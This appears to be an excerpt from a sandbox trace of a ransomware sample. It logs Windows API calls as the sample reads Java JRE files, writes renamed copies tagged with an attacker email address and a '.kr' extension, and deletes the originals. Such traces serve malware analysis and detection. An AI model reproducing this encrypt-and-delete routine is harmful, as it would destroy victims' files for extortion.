lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0182.588] lstrlenW (lpString=".xlsx") returned 5 [0182.588] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0182.588] lstrlenW (lpString=".ppt") returned 4 [0182.588] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0182.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0182.588] lstrlenW (lpString=".zip") returned 4 [0182.588] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0182.588] lstrlenW (lpString=".rar") returned 4 [0182.588] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0182.589] lstrlenW (lpString=".bz2") returned 4 [0182.589] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0182.589] lstrlenW (lpString=".7z") returned 3 [0182.589] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0182.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0182.589] lstrlenW (lpString=".dbf") returned 4 [0182.589] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0182.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0182.589] lstrlenW (lpString=".1cd") returned 4 [0182.589] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0182.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0182.589] lstrlenW (lpString=".jpg") returned 4 [0182.589] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0182.589] lstrcmpiW (lpString1=".template", lpString2=".kr") returned 1 [0182.589] lstrlenW (lpString="snmp.acl.template") returned 17 [0182.589] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0182.598] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3376) returned 1 [0182.598] CloseHandle (hObject=0x3e0) returned 1 [0182.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 0x20 [0182.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0182.598] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0182.599] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.599] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.599] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0182.599] GetLastError () returned 0x0 [0182.599] ReadFile (in: hFile=0x3e0, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0xd30, lpOverlapped=0x0) returned 1 [0182.604] WriteFile (in: hFile=0x488, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xd40, lpOverlapped=0x0) returned 1 [0182.605] ReadFile (in: hFile=0x3e0, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.605] WriteFile (in: hFile=0x488, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xf6, lpOverlapped=0x0) returned 1 [0182.605] SetEndOfFile (hFile=0x488) returned 1 [0182.606] CloseHandle (hObject=0x488) returned 1 [0182.606] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.606] SetEndOfFile (hFile=0x3e0) returned 1 [0182.740] CloseHandle (hObject=0x3e0) returned 1 [0182.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0182.881] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 1 [0183.118] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0183.118] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0183.118] lstrlenW (lpString=".doc") returned 4 [0183.118] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0183.118] lstrlenW (lpString=".docx") returned 5 [0183.118] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0183.118] lstrlenW (lpString=".pdf") returned 4 [0183.118] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0183.118] lstrlenW (lpString=".xls") returned 4 [0183.118] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0183.118] lstrlenW (lpString=".xlsx") returned 5 [0183.118] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0183.118] lstrlenW (lpString=".ppt") returned 4 [0183.119] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0183.119] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0183.119] lstrlenW (lpString=".zip") returned 4 [0183.119] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0183.119] lstrlenW (lpString=".rar") returned 4 [0183.119] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0183.119] lstrlenW (lpString=".bz2") returned 4 [0183.119] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0183.119] lstrlenW (lpString=".7z") returned 3 [0183.119] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0183.119] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0183.119] lstrlenW (lpString=".dbf") returned 4 [0183.119] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0183.119] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0183.119] lstrlenW (lpString=".1cd") returned 4 [0183.119] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0183.119] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0183.119] lstrlenW (lpString=".jpg") returned 4 [0183.119] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0183.119] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0183.119] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0183.119] lstrlenW (lpString=".doc") returned 4 [0183.119] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0183.119] lstrlenW (lpString=".docx") returned 5 [0183.119] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0183.119] lstrlenW (lpString=".pdf") returned 4 [0183.119] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0183.119] lstrlenW (lpString=".xls") returned 4 [0183.119] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0183.119] lstrlenW (lpString=".xlsx") returned 5 [0183.120] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0183.120] lstrlenW (lpString=".ppt") returned 4 [0183.120] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0183.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0183.120] lstrlenW (lpString=".zip") returned 4 [0183.120] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0183.120] lstrlenW (lpString=".rar") returned 4 [0183.120] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0183.120] lstrlenW (lpString=".bz2") returned 4 [0183.120] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0183.120] lstrlenW (lpString=".7z") returned 3 [0183.120] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0183.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0183.120] lstrlenW (lpString=".dbf") returned 4 [0183.120] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0183.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0183.120] lstrlenW (lpString=".1cd") returned 4 [0183.120] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0183.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template") returned 67 [0183.120] lstrlenW (lpString=".jpg") returned 4 [0183.120] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0183.120] lstrcmpiW (lpString1=".policy", lpString2=".kr") returned 1 [0183.120] lstrlenW (lpString="javaws.policy") returned 13 [0183.120] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0183.210] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=98) returned 1 [0183.210] CloseHandle (hObject=0x4c0) returned 1 [0183.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 0x20 [0183.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.467] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0183.517] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.517] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.517] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0183.739] GetLastError () returned 0x0 [0183.739] ReadFile (in: hFile=0x4d8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x62, lpOverlapped=0x0) returned 1 [0183.740] WriteFile (in: hFile=0x520, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x70, lpOverlapped=0x0) returned 1 [0183.741] ReadFile (in: hFile=0x4d8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.741] WriteFile (in: hFile=0x520, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xee, lpOverlapped=0x0) returned 1 [0183.741] SetEndOfFile (hFile=0x520) returned 1 [0183.741] CloseHandle (hObject=0x520) returned 1 [0183.741] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.741] SetEndOfFile (hFile=0x4d8) returned 1 [0183.749] CloseHandle (hObject=0x4d8) returned 1 [0183.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0183.749] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 1 [0183.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0183.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0183.750] lstrlenW (lpString=".doc") returned 4 [0183.750] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0183.750] lstrlenW (lpString=".docx") returned 5 [0183.750] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0183.750] lstrlenW (lpString=".pdf") returned 4 [0183.750] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0183.750] lstrlenW (lpString=".xls") returned 4 [0183.750] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0183.750] lstrlenW (lpString=".xlsx") returned 5 [0183.750] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0183.750] lstrlenW (lpString=".ppt") returned 4 [0183.750] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0183.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0183.750] lstrlenW (lpString=".zip") returned 4 [0183.750] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0183.750] lstrlenW (lpString=".rar") returned 4 [0183.750] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0183.750] lstrlenW (lpString=".bz2") returned 4 [0183.750] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0183.750] lstrlenW (lpString=".7z") returned 3 [0183.750] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0183.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0183.751] lstrlenW (lpString=".dbf") returned 4 [0183.751] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0183.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0183.751] lstrlenW (lpString=".1cd") returned 4 [0183.751] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0183.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0183.751] lstrlenW (lpString=".jpg") returned 4 [0183.751] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0183.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0183.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0183.751] lstrlenW (lpString=".doc") returned 4 [0183.751] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0183.751] lstrlenW (lpString=".docx") returned 5 [0183.751] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0183.751] lstrlenW (lpString=".pdf") returned 4 [0183.751] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0183.751] lstrlenW (lpString=".xls") returned 4 [0183.751] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0183.751] lstrlenW (lpString=".xlsx") returned 5 [0183.751] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0183.751] lstrlenW (lpString=".ppt") returned 4 [0183.751] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0183.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0183.751] lstrlenW (lpString=".zip") returned 4 [0183.751] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0183.751] lstrlenW (lpString=".rar") returned 4 [0183.751] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0183.751] lstrlenW (lpString=".bz2") returned 4 [0183.751] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0183.751] lstrlenW (lpString=".7z") returned 3 [0183.751] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0183.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0183.752] lstrlenW (lpString=".dbf") returned 4 [0183.752] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0183.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0183.752] lstrlenW (lpString=".1cd") returned 4 [0183.752] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0183.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61 [0183.752] lstrlenW (lpString=".jpg") returned 4 [0183.752] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0183.752] lstrcmpiW (lpString1=".0_144\\LICENSE", lpString2=".kr") returned -1 [0183.752] lstrlenW (lpString="LICENSE") returned 7 [0183.752] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0183.752] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=40) returned 1 [0183.752] CloseHandle (hObject=0x4d8) returned 1 [0183.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 0x20 [0183.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.753] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0183.753] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.753] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.753] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0183.754] GetLastError () returned 0x0 [0183.754] ReadFile (in: hFile=0x4d8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x28, lpOverlapped=0x0) returned 1 [0183.755] WriteFile (in: hFile=0x520, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x30, lpOverlapped=0x0) returned 1 [0183.756] ReadFile (in: hFile=0x4d8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.756] WriteFile (in: hFile=0x520, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xe2, lpOverlapped=0x0) returned 1 [0183.756] SetEndOfFile (hFile=0x520) returned 1 [0183.756] CloseHandle (hObject=0x520) returned 1 [0183.756] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.756] SetEndOfFile (hFile=0x4d8) returned 1 [0183.759] CloseHandle (hObject=0x4d8) returned 1 [0183.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0183.759] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 1 [0183.760] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0183.760] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0183.760] lstrlenW (lpString=".doc") returned 4 [0183.760] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1 [0183.760] lstrlenW (lpString=".docx") returned 5 [0183.760] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1 [0183.760] lstrlenW (lpString=".pdf") returned 4 [0183.760] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1 [0183.760] lstrlenW (lpString=".xls") returned 4 [0183.760] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1 [0183.760] lstrlenW (lpString=".xlsx") returned 5 [0183.760] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1 [0183.760] lstrlenW (lpString=".ppt") returned 4 [0183.760] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1 [0183.760] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0183.760] lstrlenW (lpString=".zip") returned 4 [0183.760] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1 [0183.760] lstrlenW (lpString=".rar") returned 4 [0183.760] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1 [0183.760] lstrlenW (lpString=".bz2") returned 4 [0183.760] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1 [0183.760] lstrlenW (lpString=".7z") returned 3 [0183.760] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1 [0183.760] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0183.760] lstrlenW (lpString=".dbf") returned 4 [0183.760] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1 [0183.760] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0183.760] lstrlenW (lpString=".1cd") returned 4 [0183.760] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1 [0183.760] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0183.760] lstrlenW (lpString=".jpg") returned 4 [0183.760] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1 [0183.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0183.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0183.761] lstrlenW (lpString=".doc") returned 4 [0183.761] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1 [0183.761] lstrlenW (lpString=".docx") returned 5 [0183.761] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1 [0183.761] lstrlenW (lpString=".pdf") returned 4 [0183.761] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1 [0183.761] lstrlenW (lpString=".xls") returned 4 [0183.761] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1 [0183.761] lstrlenW (lpString=".xlsx") returned 5 [0183.761] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1 [0183.761] lstrlenW (lpString=".ppt") returned 4 [0183.761] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1 [0183.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0183.761] lstrlenW (lpString=".zip") returned 4 [0183.761] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1 [0183.761] lstrlenW (lpString=".rar") returned 4 [0183.761] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1 [0183.761] lstrlenW (lpString=".bz2") returned 4 [0183.761] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1 [0183.761] lstrlenW (lpString=".7z") returned 3 [0183.761] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1 [0183.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0183.761] lstrlenW (lpString=".dbf") returned 4 [0183.761] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1 [0183.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0183.761] lstrlenW (lpString=".1cd") returned 4 [0183.761] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1 [0183.761] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0183.761] lstrlenW (lpString=".jpg") returned 4 [0183.761] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1 [0183.762] lstrcmpiW (lpString1=".0_144\\release", lpString2=".kr") returned -1 [0183.762] lstrlenW (lpString="release") returned 7 [0183.762] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 